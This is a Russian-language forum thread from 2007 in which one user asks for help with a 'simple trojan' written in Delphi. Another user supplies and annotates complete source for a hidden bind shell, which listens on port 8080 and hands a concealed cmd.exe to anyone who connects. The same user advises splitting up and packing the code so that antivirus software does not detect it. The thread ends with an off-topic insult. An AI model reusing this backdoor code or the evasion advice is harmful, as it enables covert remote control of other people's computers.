работа в сети
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
работа в сети - 2007-04-29 19:41:51.800000
|
|
|
eDevil
Сообщений: 51
Оценки: 0
Присоединился: 2005-09-07 16:56:58
|
(Delphi 7) товарищи,подскажите… написал простенький троян,но вот в чем проблема.. ShellExecute(0,'','cmd.exe','','',SW_NORMAL); выполняеться на удаленной тачке, 1.а как сделать чтобы управление передавалось мне и отображалось у меня??? 2.куда впарить команды,чтобы они сразу выполнились cmd ? заранее спасибо
|
|
|
RE: работа в сети - 2007-04-29 20:13:44.466666
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
http://www.google.com/search?client=opera&rls=ru&q=%D1%88%D0%B5%D0%BB%D0%BB+%D0%BD%D0%B0+%D0%B4%D0%B5%D0%BB%D1%84%D0%B8&sourceid=opera&ie=utf-8&oe=utf-8 советую посетить хотяб 3 ссылки свеху .. много полезного
|
|
|
RE: работа в сети - 2007-04-30 09:42:27.840000
|
|
|
eDevil
Сообщений: 51
Оценки: 0
Присоединился: 2005-09-07 16:56:58
|
blacksun, посмотрел,спасибо… одну забавную вещь высмотрел,но вот в коде не все понимаю(( (мало опыта работы с сетью) если знаете,то киньте "ремарки" к строкам кода program Minishell;
uses
windows,WinSock;
function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';
var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;
begin
WSAStartup($101, WSAData);
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080);
bind(sock, sockaddr, 16);
listen(sock, 0);
while true do
begin
sHandle := accept(sock, nil, 0);
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE;
si.dwFlags := 0101;
si.hStdError := sHandle;
si.hStdInput := sHandle;
si.hStdOutput := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.
|
|
|
RE: работа в сети - 2007-04-30 13:35:51.003333
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
{
Откроет 8080 порт, конектится телнетом ...
ЗЫ:
после компиляяции будет палится антивирями .. так что куски кода надо разбросать ... и потом все пожать
}
program Minishell;
uses
Windows, WinSock;
function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';
var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;
begin
WSAStartup($101, WSAData); // инициализация
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080); // назначаем 8080 TCP порт для открытия шела
bind(sock, sockaddr, 16); // биндим сокет
listen(sock, 0); // открываем порт
while true do // бесконечный цикл
begin
sHandle := accept(sock, nil, 0); // ожидаем соединения
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE; // чтоб консоль небыло видно
si.dwFlags := 0101; // STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
si.hStdError := sHandle; //
si.hStdInput := sHandle; // перенаправляем ввод-вывод в сокет
si.hStdOutput := sHandle; //
// запускаем cmd.exe с перенаправлением ввода-вывода
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.
|
|
|
RE: работа в сети - 2007-05-01 20:17:50.170000
|
|
|
eDevil
Сообщений: 51
Оценки: 0
Присоединился: 2005-09-07 16:56:58
|
ок,спасибо!
|
|
|
RE: работа в сети - 2007-05-01 21:09:02.176666
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
stasww, выйди в окно
|
|
|
|
|